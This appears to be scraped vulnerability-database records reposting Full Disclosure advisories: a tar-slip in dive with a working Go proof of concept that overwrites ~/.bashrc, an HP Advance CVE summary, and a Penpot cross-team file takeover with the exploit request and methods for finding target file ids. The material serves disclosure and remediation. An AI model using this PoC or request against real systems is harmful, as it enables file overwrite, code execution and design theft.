`header.Name` comes from the layer being inspected, so the attacker fully
controls it. The only validation is `strings.HasPrefix(name, target)`, a
string prefix check rather than a path check: it offers no containment at all.
A name like `etc/motd-x/../../../.bashrc` passes the check for a selected
`etc/motd`, and `os.Create(name)` then resolves the raw name relative to the
directory dive was started in. There is no `filepath.Clean`, no rejection of
`..`, no containment root, no symlink check and no size cap.
The same string-prefix property lets an attacker prepare the path for the
escape in two steps. Because `filepath.Dir` cleans `..` segments away,
`os.MkdirAll` never creates the intermediate directory that a single escape
entry needs to walk through. But any earlier entry whose name still starts
with the selected path creates it: an entry named `etc/motd-x/keep` makes
`os.MkdirAll` create the directory `etc/motd-x`, and the next entry can then
climb through it with `..`. Both entries pass the prefix check, and the
attacker controls the order of entries in the layer.
Reaching `extractInner` with crafted bytes is straightforward. The engine
resolver saves the image with the Docker API (`ImageSave`,
`dive/image/docker/engine_resolver.go:131`), which streams the original layer
blobs as they were pushed to the registry, and dive even pulls the image
itself when it is not available locally
(`dive/image/docker/engine_resolver.go:121`). Nothing between the registry
and `extractInner` rewrites entry names.
## Reproduction
The loop above is self-contained, so the whole feature can be exercised
without a registry or the UI. The program below copies `extractInner`
verbatim from the current main branch, feeds it a crafted layer tar, and
selects `/etc/motd`, exactly what dive does when ctrl+e is pressed on that
file:
```go
package main
// extractInner copied verbatim from
// dive/image/docker/image_archive.go:337 (main, 2026-09-24).
import (
"archive/tar"
"bytes"
"fmt"
"io"
"os"
"path/filepath"
"strings"
)
func extractInner(reader *tar.Reader, p string) error {
target := strings.TrimPrefix(p, "/")
for {
header, err := reader.Next()
if err == io.EOF {
break
}
if err != nil {
fmt.Println(err)
os.Exit(1)
}
name := header.Name
switch header.Typeflag {
case tar.TypeReg:
if strings.HasPrefix(name, target) {
err := os.MkdirAll(filepath.Dir(name), 0755)
if err != nil {
return err
}
out, err := os.Create(name)
if err != nil {
return err
}
_, err = io.Copy(out, reader)
if err != nil {
return err
}
}
default:
continue
}
}
return nil
}
func addFile(tw *tar.Writer, name, body string) {
hdr := &tar.Header{Name: name, Mode: 0o644, Size: int64(len(body)),
Typeflag: tar.TypeReg}
_ = tw.WriteHeader(hdr)
_, _ = tw.Write([]byte(body))
}
func main() {
var layer bytes.Buffer
tw := tar.NewWriter(&layer)
addFile(tw, "etc/motd", "welcome to the totally safe image\n")
addFile(tw, "etc/motd-x/keep", "x\n")
addFile(tw, "etc/motd-x/../../../.bashrc", "echo pwned\n")
_ = tw.Close()
err := extractInner(tar.NewReader(&layer), "/etc/motd")
fmt.Println("extractInner returned:", err)
}
```
Run it from a directory that stands in for the analyst's project directory,
with a `.bashrc` one level above:
```sh
mkdir -p home/victim/project
echo "alias ll='ls -l'" > home/victim/.bashrc
cd home/victim/project && go run main.go
```
Observed result:
```text
extractInner returned: <nil>
```
```text
$ find home -type f | sort
home/victim/.bashrc # was: alias ll='ls -l'
home/victim/project/etc/motd
home/victim/project/etc/motd-x/keep
$ cat home/victim/.bashrc
echo pwned
```
The selected file lands in the working directory as expected, and the escape
entry silently overwrites the `.bashrc` one level above it. `extractInner`
returns nil, so the UI reports a successful extract.
End to end, the same layer is delivered by publishing an image whose layer
blob contains the three entries above (any registry accepts the blob as-is),
and waiting for an analyst to run `dive` on the image and extract a file.
## Impact
Arbitrary file write with the analyst's privileges, at any path that is
reachable through `..` from the directory dive runs in, usually the home or
project directory. High-value targets include shell startup files such as
`~/.bashrc` and `~/.profile`, `~/.ssh/authorized_keys`, `.git/hooks` in the
current repository, and desktop autostart entries, which turn the write into
code execution at the next shell or login. The write is silent: extraction
succeeds and the extra entries leave no error behind.
The precondition is that the analyst selects a file in the crafted image and
presses the extract keybinding, which is why this is rated medium rather than
high. That action is exactly what the feature is for: an analyst who opens a
suspicious image to look at a credentials file or a config file has every
reason to extract it for a closer look, and the layer content is fully
attacker-controlled.
## Solution
Treat every entry name as hostile and extract through a containment root.
The check belongs on the cleaned, joined path, not on the raw string:
```go
dest := filepath.Join(destinationDir, filepath.Clean("/"+header.Name))
if dest != filepath.Join(destinationDir, target) {
continue // extraction is for the selected file only
}
```
Joining against `/`+name first makes `filepath.Clean` drop any leading `..`
or drive-letter tricks, and the equality check then reduces the write to the
one selected file inside `destinationDir`. Creating the file with
`os.OpenFile(dest, os.O_WRONLY|os.O_CREATE|os.O_EXCL, 0o644)` also stops the
extract from overwriting existing files or following a symlink planted
earlier in the same layer. This is the standard guard for the tar-slip class,
the tar variant of Zip Slip, which every archive extractor that writes to
disk needs.
Until a fix lands, do not use the extract keybinding on images from unknown
sources, and if it must be used, run dive from an empty directory (or from
inside a container) so that `..` has nowhere interesting to climb to.
## Timeline
- 2026-09-24: Reported publicly as wagoodman/dive#722, found while scanning
popular repositories with my static analyzer. The repository has seen no
commits since 2025-12-15, so no private disclosure attempt seemed useful;
dive 0.13.1 and the current main branch are affected.
## References
- [wagoodman/dive#722 - tar-slip in image layer file
extraction](https://github.com/wagoodman/dive/issues/722)
- [wagoodman/dive -
dive/image/docker/image_archive.go](https://github.com/wagoodman/dive/blob/main/dive/image/docker/image_archive.go)
- [Snyk - Zip Slip vulnerability
research](https://snyk.io/research/zip-slip-vulnerability)
- [CWE-22: Improper Limitation of a Pathname to a Restricted
Directory](https://cwe.mitre.org/data/definitions/22.html)
- [CWE-59: Improper Link Resolution Before File
Access](https://cwe.mitre.org/data/definitions/59.html)
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Assigner
References
11 references
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| unknown | dive tar-slip in |
Affected:
unknown
|
{
"containers": {
"cna": {
"affected": [
{
"product": "dive tar-slip in",
"vendor": "unknown",
"versions": [
{
"status": "affected",
"version": "unknown"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Khashayar Fereidani"
}
],
"descriptions": [
{
"lang": "en",
"value": "# dive tar-slip in image file extraction\n\n**Author:** Khashayar Fereidani\n**Disclosure Date:** 2026-09-24\n**Advisory:** https://fereidani.com/dive-tar-slip-in-image-file-extraction\n**Contact:** https://fereidani.com/contact\n\n## Description\n\ndive is a terminal UI for exploring Docker image layers, and inspecting images\npulled from public registries is its main use case. The filetree view has an\nextract action (the default keybinding is `ctrl+e`,\n`cmd/dive/cli/internal/ui/v1/key/config.go:97`) that writes the selected file\nfrom the image layer into the working directory. The call chain is\n`onFileTreeViewExtract` (`cmd/dive/cli/internal/ui/v1/app/controller.go:62`)\n-\u003e `engineResolver.Extract`\n(`dive/image/docker/engine_resolver.go:56`) -\u003e `ExtractFromImage`\n(`dive/image/docker/image_archive.go:303`) -\u003e `extractInner`\n(`dive/image/docker/image_archive.go:337`):\n\n```go\nfunc extractInner(reader *tar.Reader, p string) error {\ntarget := strings.TrimPrefix(p, \"/\")\n\nfor {\nheader, err := reader.Next()\n\nif err == io.EOF {\nbreak\n}\n\nif err != nil {\nfmt.Println(err)\nos.Exit(1)\n}\n\nname := header.Name\n\nswitch header.Typeflag {\ncase tar.TypeReg:\nif strings.HasPrefix(name, target) {\nerr := os.MkdirAll(filepath.Dir(name), 0755)\nif err != nil {\nreturn err\n}\n\nout, err := os.Create(name)\nif err != nil {\nreturn err\n}\n\n_, err = io.Copy(out, reader)\nif err != nil {\nreturn err\n}\n}\ndefault:\ncontinue\n}\n}\n\nreturn nil\n}\n```\n\n`header.Name` comes from the layer being inspected, so the attacker fully\ncontrols it. The only validation is `strings.HasPrefix(name, target)`, a\nstring prefix check rather than a path check: it offers no containment at all.\nA name like `etc/motd-x/../../../.bashrc` passes the check for a selected\n`etc/motd`, and `os.Create(name)` then resolves the raw name relative to the\ndirectory dive was started in. There is no `filepath.Clean`, no rejection of\n`..`, no containment root, no symlink check and no size cap.\n\nThe same string-prefix property lets an attacker prepare the path for the\nescape in two steps. Because `filepath.Dir` cleans `..` segments away,\n`os.MkdirAll` never creates the intermediate directory that a single escape\nentry needs to walk through. But any earlier entry whose name still starts\nwith the selected path creates it: an entry named `etc/motd-x/keep` makes\n`os.MkdirAll` create the directory `etc/motd-x`, and the next entry can then\nclimb through it with `..`. Both entries pass the prefix check, and the\nattacker controls the order of entries in the layer.\n\nReaching `extractInner` with crafted bytes is straightforward. The engine\nresolver saves the image with the Docker API (`ImageSave`,\n`dive/image/docker/engine_resolver.go:131`), which streams the original layer\nblobs as they were pushed to the registry, and dive even pulls the image\nitself when it is not available locally\n(`dive/image/docker/engine_resolver.go:121`). Nothing between the registry\nand `extractInner` rewrites entry names.\n\n## Reproduction\n\nThe loop above is self-contained, so the whole feature can be exercised\nwithout a registry or the UI. The program below copies `extractInner`\nverbatim from the current main branch, feeds it a crafted layer tar, and\nselects `/etc/motd`, exactly what dive does when ctrl+e is pressed on that\nfile:\n\n```go\npackage main\n\n// extractInner copied verbatim from\n// dive/image/docker/image_archive.go:337 (main, 2026-09-24).\nimport (\n\"archive/tar\"\n\"bytes\"\n\"fmt\"\n\"io\"\n\"os\"\n\"path/filepath\"\n\"strings\"\n)\n\nfunc extractInner(reader *tar.Reader, p string) error {\ntarget := strings.TrimPrefix(p, \"/\")\nfor {\nheader, err := reader.Next()\nif err == io.EOF {\nbreak\n}\nif err != nil {\nfmt.Println(err)\nos.Exit(1)\n}\nname := header.Name\nswitch header.Typeflag {\ncase tar.TypeReg:\nif strings.HasPrefix(name, target) {\nerr := os.MkdirAll(filepath.Dir(name), 0755)\nif err != nil {\nreturn err\n}\nout, err := os.Create(name)\nif err != nil {\nreturn err\n}\n_, err = io.Copy(out, reader)\nif err != nil {\nreturn err\n}\n}\ndefault:\ncontinue\n}\n}\nreturn nil\n}\n\nfunc addFile(tw *tar.Writer, name, body string) {\nhdr := \u0026tar.Header{Name: name, Mode: 0o644, Size: int64(len(body)),\nTypeflag: tar.TypeReg}\n_ = tw.WriteHeader(hdr)\n_, _ = tw.Write([]byte(body))\n}\n\nfunc main() {\nvar layer bytes.Buffer\ntw := tar.NewWriter(\u0026layer)\naddFile(tw, \"etc/motd\", \"welcome to the totally safe image\\n\")\naddFile(tw, \"etc/motd-x/keep\", \"x\\n\")\naddFile(tw, \"etc/motd-x/../../../.bashrc\", \"echo pwned\\n\")\n_ = tw.Close()\n\nerr := extractInner(tar.NewReader(\u0026layer), \"/etc/motd\")\nfmt.Println(\"extractInner returned:\", err)\n}\n```\n\nRun it from a directory that stands in for the analyst\u0027s project directory,\nwith a `.bashrc` one level above:\n\n```sh\nmkdir -p home/victim/project\necho \"alias ll=\u0027ls -l\u0027\" \u003e home/victim/.bashrc\ncd home/victim/project \u0026\u0026 go run main.go\n```\n\nObserved result:\n\n```text\nextractInner returned: \u003cnil\u003e\n```\n\n```text\n$ find home -type f | sort\nhome/victim/.bashrc # was: alias ll=\u0027ls -l\u0027\nhome/victim/project/etc/motd\nhome/victim/project/etc/motd-x/keep\n\n$ cat home/victim/.bashrc\necho pwned\n```\n\nThe selected file lands in the working directory as expected, and the escape\nentry silently overwrites the `.bashrc` one level above it. `extractInner`\nreturns nil, so the UI reports a successful extract.\n\nEnd to end, the same layer is delivered by publishing an image whose layer\nblob contains the three entries above (any registry accepts the blob as-is),\nand waiting for an analyst to run `dive` on the image and extract a file.\n\n## Impact\n\nArbitrary file write with the analyst\u0027s privileges, at any path that is\nreachable through `..` from the directory dive runs in, usually the home or\nproject directory. High-value targets include shell startup files such as\n`~/.bashrc` and `~/.profile`, `~/.ssh/authorized_keys`, `.git/hooks` in the\ncurrent repository, and desktop autostart entries, which turn the write into\ncode execution at the next shell or login. The write is silent: extraction\nsucceeds and the extra entries leave no error behind.\n\nThe precondition is that the analyst selects a file in the crafted image and\npresses the extract keybinding, which is why this is rated medium rather than\nhigh. That action is exactly what the feature is for: an analyst who opens a\nsuspicious image to look at a credentials file or a config file has every\nreason to extract it for a closer look, and the layer content is fully\nattacker-controlled.\n\n## Solution\n\nTreat every entry name as hostile and extract through a containment root.\nThe check belongs on the cleaned, joined path, not on the raw string:\n\n```go\ndest := filepath.Join(destinationDir, filepath.Clean(\"/\"+header.Name))\nif dest != filepath.Join(destinationDir, target) {\ncontinue // extraction is for the selected file only\n}\n```\n\nJoining against `/`+name first makes `filepath.Clean` drop any leading `..`\nor drive-letter tricks, and the equality check then reduces the write to the\none selected file inside `destinationDir`. Creating the file with\n`os.OpenFile(dest, os.O_WRONLY|os.O_CREATE|os.O_EXCL, 0o644)` also stops the\nextract from overwriting existing files or following a symlink planted\nearlier in the same layer. This is the standard guard for the tar-slip class,\nthe tar variant of Zip Slip, which every archive extractor that writes to\ndisk needs.\n\nUntil a fix lands, do not use the extract keybinding on images from unknown\nsources, and if it must be used, run dive from an empty directory (or from\ninside a container) so that `..` has nowhere interesting to climb to.\n\n## Timeline\n\n- 2026-09-24: Reported publicly as wagoodman/dive#722, found while scanning\n popular repositories with my static analyzer. The repository has seen no\n commits since 2025-12-15, so no private disclosure attempt seemed useful;\n dive 0.13.1 and the current main branch are affected.\n\n## References\n\n- [wagoodman/dive#722 - tar-slip in image layer file\nextraction](https://github.com/wagoodman/dive/issues/722)\n- [wagoodman/dive -\ndive/image/docker/image_archive.go](https://github.com/wagoodman/dive/blob/main/dive/image/docker/image_archive.go)\n- [Snyk - Zip Slip vulnerability\nresearch](https://snyk.io/research/zip-slip-vulnerability)\n- [CWE-22: Improper Limitation of a Pathname to a Restricted\nDirectory](https://cwe.mitre.org/data/definitions/22.html)\n- [CWE-59: Improper Link Resolution Before File\nAccess](https://cwe.mitre.org/data/definitions/59.html)\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
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GCVE-1988-2026-0414
Vulnerability from gna-1988 – Published: 2026-10-02 04:57 – Updated: 2026-10-02 04:57
VLAI
EPSS
VEX
Title
HP Advance / Output Central: unauthenticated SYSTEM RCE and two additional vulnerabilities (CVE-2026-89082/89083/89084)
Summary
HP Advance / HP Output Central
CVE-2026-89082, CVE-2026-89083, CVE-2026-89084
================================================================
SUMMARY
================================================================
Vendor: HP Inc.
Product family named by HP: HP Advance
Products in HP's update table: HP AC Print & Scan; HP Output Central
Components: Drivve SecureScan, MFPsecure
Severity: two Critical (9.3), one High (8.8), CVSS 4.0
Confirmed on: V1R4.0.026
Vendor bulletin: HPSBPI04149 / PSR-2026-0126, published 2026-09-16
Researcher: Joseph Chiarchiaro, https://printoverrun.com
================================================================
[1] CVE-2026-89082 - 9.3 Critical
Unauthenticated archive path traversal leading to SYSTEM code execution
================================================================
Vulnerable component: Drivve SecureScan log-viewer web application
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
HP CNA CWE: CWE-94
Researcher assessment: CWE-22, CWE-306
================================================================
[2] CVE-2026-89083 - 9.3 Critical
Forged-header bypass of a local-only authorization gate
================================================================
Vulnerable component: MFPsecure device-integration SOAP service
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:L/VA:N/SC:H/SI:H/SA:N
HP CNA CWE: CWE-94
Researcher assessment: CWE-290, CWE-863
================================================================
[3] CVE-2026-89084 - 8.8 High
Unauthenticated .xml file write and deletion as SYSTEM
================================================================
Vulnerable component: MFPsecure device-integration SOAP service
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N
HP CNA CWE: CWE-22
Additional researcher assessment: CWE-306
================================================================
AFFECTED VERSIONS AND REMEDIATION
================================================================
The underlying behavior for all three findings was confirmed on V1R4.0.026.
HP's security bulletin lists the following updated R4 versions:
- HP AC Print & Scan: V1R4.0.027 or later
- HP Output Central: V1R4.0.029
================================================================
MITIGATION
================================================================
The affected paths themselves require no authentication.
================================================================
DISCLOSURE TIMELINE
================================================================
2026-06-01 Reported to HP PSRT.
2026-06-24 All three reported root behaviors confirmed on V1R4.0.026.
2026-07-21 HP validated the findings; fixes in progress.
2026-09-14 CVE assignments and CVSS scores communicated by HP.
2026-09-16 HP security bulletin and researcher advisories published.
================================================================
TECHNICAL DETAILS
================================================================
================================================================
REFERENCES
================================================================
HP Security Bulletin HPSBPI04149 / PSR-2026-0126:
https://support.hp.com/us-en/document/ish_15646496-15646518-16/hpsbpi04149
CVE-2026-89082:
https://printoverrun.com/disclosures/cve-2026-89082/
https://www.cve.org/CVERecord?id=CVE-2026-89082
CVE-2026-89083:
https://printoverrun.com/disclosures/cve-2026-89083/
https://www.cve.org/CVERecord?id=CVE-2026-89083
CVE-2026-89084:
https://printoverrun.com/disclosures/cve-2026-89084/
https://www.cve.org/CVERecord?id=CVE-2026-89084
================================================================
CVE assignment and CVSS scoring: HP Inc. as CNA.
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Assigner
References
12 references
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| HP Inc. | HP Advance / |
Affected:
unknown
|
Relationships
reference
GCVE-1988-2026-0414 (this record)
- related CVE-2026-89082
- related CVE-2026-89083
- related CVE-2026-89084
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GCVE-1988-2026-0413
Vulnerability from gna-1988 – Published: 2026-10-02 04:57 – Updated: 2026-10-02 04:57
VLAI
EPSS
VEX
Title
CVE-2026-17613: Penpot cross-team file takeover via import-binfile (unpatched in 2.17.2)
Summary
Posting this as an update rather than a first disclosure. The advisory
went public on 2026-08-04 with no vendor fix. Penpot has shipped two
releases since then, 2.17.1 and 2.17.2 -- the latter 14 days ago, on
2026-08-27 -- and I re-checked the code this morning: the missing
permission check is still missing in both, and in every release before
them. It was fixed on develop the day after this advisory went public.
That fix has never shipped. Anyone running a released version of
self-hosted Penpot should know that, so here is the whole thing in one
message.
SUMMARY
=======
Penpot's file-import RPC command takes an optional caller-supplied
file-id, meaning "import into this existing file instead of creating a
new one." The handler checks that the caller may edit the project they
named -- a project they own, since they supplied it. It never checks
that the file-id they supplied belongs to them.
So any authenticated user can point that parameter at any file on the
instance and overwrite it. The same operation also re-parents the file
into the attacker's project, which is the part that matters: the
attacker does not merely destroy the victim's design, they end up owning
it. On a default install with open self-registration, the attacker needs
no prior relationship to the target at all.
AFFECTED
========
Product: Penpot (open-source design and prototyping platform, Kaleidos)
Affected: 1.20 through 2.17.2, self-hosted Community Edition and
Penpot Cloud. The in-place file-id parameter was introduced in
1.20 -- the handler's own ::doc/changes metadata records
"1.20 Add file-id param for in-place import". The CVE record
was updated 2026-08-27 to state the range as 1.20 through
2.17.1, the same day 2.17.2 shipped; 2.17.2 is also affected
and is not yet reflected in the record.
Fixed in: nothing released. Fixed on develop, unreleased, since
2026-08-05, and present in the 2.18.0 release-candidate line.
Never backported to a 2.17.x release.
CVE-2026-17613, assigned by CERT/CC as CNA, record state PUBLISHED.
CWE-639 (Authorization Bypass Through User-Controlled Key), CWE-862
(Missing Authorization).
STILL UNPATCHED IN EVERY RELEASE -- FIXED ON DEVELOP, NOT SHIPPED
=================================================================
The published advisory last verified the flaw at develop HEAD on
2026-07-27. Penpot has released 2.17.1 and 2.17.2 since then
(2026-08-17 and 2026-08-27), and 2.17.0 shortly before it (2026-07-22).
None of the three fixes it. Verified today, 2026-09-10:
backend/src/app/rpc/commands/binfile.clj @ tag 2.17.2
line 78 (files/check-read-permissions! pool profile-id file-id)
-- export path, correct check, present
line 153 (projects/check-edition-permissions! pool profile-id project-id)
-- import path, checks only the caller's own project
line 160 (uuid? file-id)
line 161 (assoc ::bfc/file-id file-id)
-- import path, the supplied file-id bound unchecked
same file @ develop 37dab75e (2026-09-10T18:29:44Z)
line 88 (files/check-read-permissions! cfg profile-id file-id)
-- export path, correct check, present
line 166 (projects/check-edition-permissions! pool profile-id project-id)
-- import path; file-id is no longer a parameter here at
all, so there is nothing left to check
The fix exists. It just has not shipped. The day after this advisory
went public, commit 9242556d landed on develop and removed file-id from
import-binfile outright -- gone from the schema, from the handler's
destructuring, and from the audit props. Commit message: ":bug: Close
import-binfile schema and remove file-id parameter (#10994)". The same
change is in the current 2.18.0 release-candidate line (2.18.0-RC5). It
has never been backported to a 2.17.x release.
The 2.17.2 release notes list three bug fixes, one of them a different
security fix (an SVG-exporter command-injection bug, per the vendor's
own changelog) -- so the vendor does put security fixes in this line
when it chooses to. This one is not among them. The code above is
byte-identical to 2.17.0 (2026-07-22) and 2.17.1 (2026-08-17) -- the
same three call sites, the same line numbers, across the last three
releases. I am not going to guess why -- I am saying that today, 105
days after the report, nobody running a released version of Penpot has
the fix that has sat on develop, unreleased, for 36 days.
ROOT CAUSE
==========
What makes this one worth reading is that the correct check is in the
same source file, about seventy lines away, on the other direction of
the same feature.
export-binfile validates read permission on its file-id before handing
anything back:
(sv/defmethod ::export-binfile
...
[{:keys [::db/pool] :as cfg}
{:keys [::rpc/profile-id file-id] :as params}]
(files/check-read-permissions! pool profile-id file-id) ; <-- yes
(sse/response (partial export-binfile cfg params)))
import-binfile validates the caller's project and then binds the
caller's file-id straight through:
(sv/defmethod ::import-binfile
...
[{:keys [::db/pool] :as cfg}
{:keys [::rpc/profile-id project-id version file-id upload-id]
:as params}]
(projects/check-edition-permissions! pool profile-id project-id)
(let [...
cfg (cond-> cfg
(uuid? file-id)
(assoc ::bfc/file-id file-id))] ; <-- no check
...))
The permission function exists. It is already imported. It is used
correctly a few dozen lines up. The import path just does not call it.
Downstream, the in-place import fetches the target file by id alone with
no ownership predicate on the query, enables overwrite mode, writes the
attacker's content into the victim's file row, and sets that row's
project to the attacker's project. The final update is keyed only on the
attacker-supplied file id.
EXPLOITATION
============
Prerequisite: any authenticated account with a project of its own. On a
default install, self-register.
POST /api/rpc/command/import-binfile
Cookie: <attacker session>
Content-Type: multipart/form-data
project-id = <a project the attacker owns> ; checked
file-id = <the victim's file> ; NOT checked
file = <a valid single-file .penpot archive>
The obvious objection is that file ids are random UUIDs, so how do you
aim it. In practice they leak through entirely normal use, and two of
the three routes require no mistake by the victim:
1. Public share links. Clicking Share produces a URL with the file id
in it in plaintext. People send those to clients and contractors
all day. Whoever holds the link holds the targeting data.
2. Shared-library enumeration. Any user who has ever linked a shared
design-system library can read that library's file id from an
ordinary library-listing call. No error, no audit trail. This is
the route that reaches an entire organisation's design system
rather than one file.
3. Workspace and viewer URLs embed the file id, so it turns up in
screenshots, support tickets, Slack pastes and screen shares.
On attack complexity, since it came up during coordination: AC:H is
meant for conditions the attacker cannot arrange unilaterally. Receiving
a share link and listing shared libraries are ordinary actions any
account can take on its own. Complexity stays Low.
IMPACT
======
- Data destruction. The victim's file contents are replaced with the
attacker's.
- Persistent takeover. Penpot resolves file permissions by walking
file -> project -> team. Re-parenting rewrites that lineage, so the
attacker becomes the legitimate owner in the eyes of every other
endpoint, free to open, edit, export, duplicate and re-share the
victim's design. The file vanishes from the victim's project. They
cannot reach it to attempt a restore.
- Library poisoning. If the hijacked file was a shared design library,
every file in every other team that syncs from it starts pulling
attacker-controlled components, colours and typography.
- Cross-team scope. The attacker holds no authorisation on the
victim's team. The operation moves a resource out of that boundary
entirely.
Design files are not low-value data. One file can hold an unreleased
product's whole interface, pre-launch brand and marketing assets, or
mockups carrying real customer names in placeholder text. Agencies
routinely run one instance with a team per client and rely on team
separation to keep those clients confidential from each other. That
assumption does not currently hold.
The original report also bundled a lower-severity issue with the same
root pattern: the realtime WebSocket channel lets a client subscribe to
a file or team topic using a client-supplied id with no permission
check, allowing live exfiltration of collaborative edits and
shared-library changes for any file whose id you know. Same mistake --
trusting a client-supplied identifier without re-checking it. One
disciplined patch closes both.
ON THE SCORE
============
The CVE record carries 7.5 High:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
That is also the number on my own advisory. I publish the assigned score
rather than mine, because the CVE record is what the ecosystem actually
consumes and a mismatched headline number reads as inflation. It is also
the number I disagree with, and I would rather argue that in the open
than quietly ship a different one.
C:N/I:N describes the vulnerable endpoint honestly enough if you read
the operation as "the victim's file is destroyed." But the file is not
destroyed. It is moved, intact, into the attacker's project, where they
can read and export it. That is a confidentiality loss. Its contents are
then attacker-controlled, and if it was a shared library that content
propagates into other teams' files. That is an integrity loss with a
blast radius past the original resource. Scoring it A:H only measures
what the victim stopped having, not what the attacker started having.
S:U has the same problem. The operation carries a resource across a team
boundary the attacker was never authorised for; calling that scope
unchanged treats Penpot's file store as one undifferentiated pool, which
is precisely the assumption the product's team model tells customers is
false.
My pre-assignment score was 9.9. Take that as one researcher's read, not
as a correction to the record -- but if you are triaging this from the
7.5 alone, triage the impact section above instead. Worth more than
either number for that purpose: the CISA ADP Vulnrichment enrichment on
the same record carries an SSVC assessment of exploitation
proof-of-concept, technical impact partial, automatable yes. I wrote the
general version of this argument up here, alongside the same pattern in
CVE-2026-16751:
https://vokecyber.com/blog/when-cvss-scores-the-endpoint-not-the-loss
MITIGATIONS
===========
No fixed release to upgrade to, so, in order of value:
1. Disable open self-registration. Does not fix the bug. Removes the
sign-up-and-attack path and takes the score to 6.5, since the
attacker then needs an account somebody gave them.
2. Treat every account on the instance as having write access to every
file on it, and plan accordingly. If you rely on team separation
for client confidentiality, consider separate instances for
genuinely sensitive work until this is fixed.
3. Audit for prior exploitation. Look for file rows whose owning
project changed with no corresponding user action, and for edits
written by a profile that is not a member of the file's team. An
in-place import does not leave a normal change row behind, so the
signal to chase is a file whose project lineage no longer matches
the accounts that historically edited it.
4. Keep backups outs
Severity
No CVSS data available.
Assigner
References
12 references
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| Penpot | (open-source design and prototyping platform, Kaleidos) |
Affected:
unknown
|
Relationships
analysis
GCVE-1988-2026-0413 (this record)
- related CVE-2026-16751
- related CVE-2026-17613
{
"containers": {
"cna": {
"affected": [
{
"product": "(open-source design and prototyping platform, Kaleidos)",
"vendor": "Penpot",
"versions": [
{
"status": "affected",
"version": "unknown"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Louis Sanchez via Fulldisclosure"
}
],
"descriptions": [
{
"lang": "en",
"value": "Posting this as an update rather than a first disclosure. The advisory\nwent public on 2026-08-04 with no vendor fix. Penpot has shipped two\nreleases since then, 2.17.1 and 2.17.2 -- the latter 14 days ago, on\n2026-08-27 -- and I re-checked the code this morning: the missing\npermission check is still missing in both, and in every release before\nthem. It was fixed on develop the day after this advisory went public.\nThat fix has never shipped. Anyone running a released version of\nself-hosted Penpot should know that, so here is the whole thing in one\nmessage.\n\n\nSUMMARY\n=======\n\nPenpot\u0027s file-import RPC command takes an optional caller-supplied\nfile-id, meaning \"import into this existing file instead of creating a\nnew one.\" The handler checks that the caller may edit the project they\nnamed -- a project they own, since they supplied it. It never checks\nthat the file-id they supplied belongs to them.\n\nSo any authenticated user can point that parameter at any file on the\ninstance and overwrite it. The same operation also re-parents the file\ninto the attacker\u0027s project, which is the part that matters: the\nattacker does not merely destroy the victim\u0027s design, they end up owning\nit. On a default install with open self-registration, the attacker needs\nno prior relationship to the target at all.\n\n\nAFFECTED\n========\n\nProduct: Penpot (open-source design and prototyping platform, Kaleidos)\nAffected: 1.20 through 2.17.2, self-hosted Community Edition and\n Penpot Cloud. The in-place file-id parameter was introduced in\n 1.20 -- the handler\u0027s own ::doc/changes metadata records\n \"1.20 Add file-id param for in-place import\". The CVE record\n was updated 2026-08-27 to state the range as 1.20 through\n 2.17.1, the same day 2.17.2 shipped; 2.17.2 is also affected\n and is not yet reflected in the record.\nFixed in: nothing released. Fixed on develop, unreleased, since\n 2026-08-05, and present in the 2.18.0 release-candidate line.\n Never backported to a 2.17.x release.\n\nCVE-2026-17613, assigned by CERT/CC as CNA, record state PUBLISHED.\nCWE-639 (Authorization Bypass Through User-Controlled Key), CWE-862\n(Missing Authorization).\n\n\nSTILL UNPATCHED IN EVERY RELEASE -- FIXED ON DEVELOP, NOT SHIPPED\n=================================================================\n\nThe published advisory last verified the flaw at develop HEAD on\n2026-07-27. Penpot has released 2.17.1 and 2.17.2 since then\n(2026-08-17 and 2026-08-27), and 2.17.0 shortly before it (2026-07-22).\nNone of the three fixes it. Verified today, 2026-09-10:\n\n backend/src/app/rpc/commands/binfile.clj @ tag 2.17.2\n\n line 78 (files/check-read-permissions! pool profile-id file-id)\n -- export path, correct check, present\n line 153 (projects/check-edition-permissions! pool profile-id project-id)\n -- import path, checks only the caller\u0027s own project\n line 160 (uuid? file-id)\n line 161 (assoc ::bfc/file-id file-id)\n -- import path, the supplied file-id bound unchecked\n\n same file @ develop 37dab75e (2026-09-10T18:29:44Z)\n\n line 88 (files/check-read-permissions! cfg profile-id file-id)\n -- export path, correct check, present\n line 166 (projects/check-edition-permissions! pool profile-id project-id)\n -- import path; file-id is no longer a parameter here at\n all, so there is nothing left to check\n\nThe fix exists. It just has not shipped. The day after this advisory\nwent public, commit 9242556d landed on develop and removed file-id from\nimport-binfile outright -- gone from the schema, from the handler\u0027s\ndestructuring, and from the audit props. Commit message: \":bug: Close\nimport-binfile schema and remove file-id parameter (#10994)\". The same\nchange is in the current 2.18.0 release-candidate line (2.18.0-RC5). It\nhas never been backported to a 2.17.x release.\n\nThe 2.17.2 release notes list three bug fixes, one of them a different\nsecurity fix (an SVG-exporter command-injection bug, per the vendor\u0027s\nown changelog) -- so the vendor does put security fixes in this line\nwhen it chooses to. This one is not among them. The code above is\nbyte-identical to 2.17.0 (2026-07-22) and 2.17.1 (2026-08-17) -- the\nsame three call sites, the same line numbers, across the last three\nreleases. I am not going to guess why -- I am saying that today, 105\ndays after the report, nobody running a released version of Penpot has\nthe fix that has sat on develop, unreleased, for 36 days.\n\n\nROOT 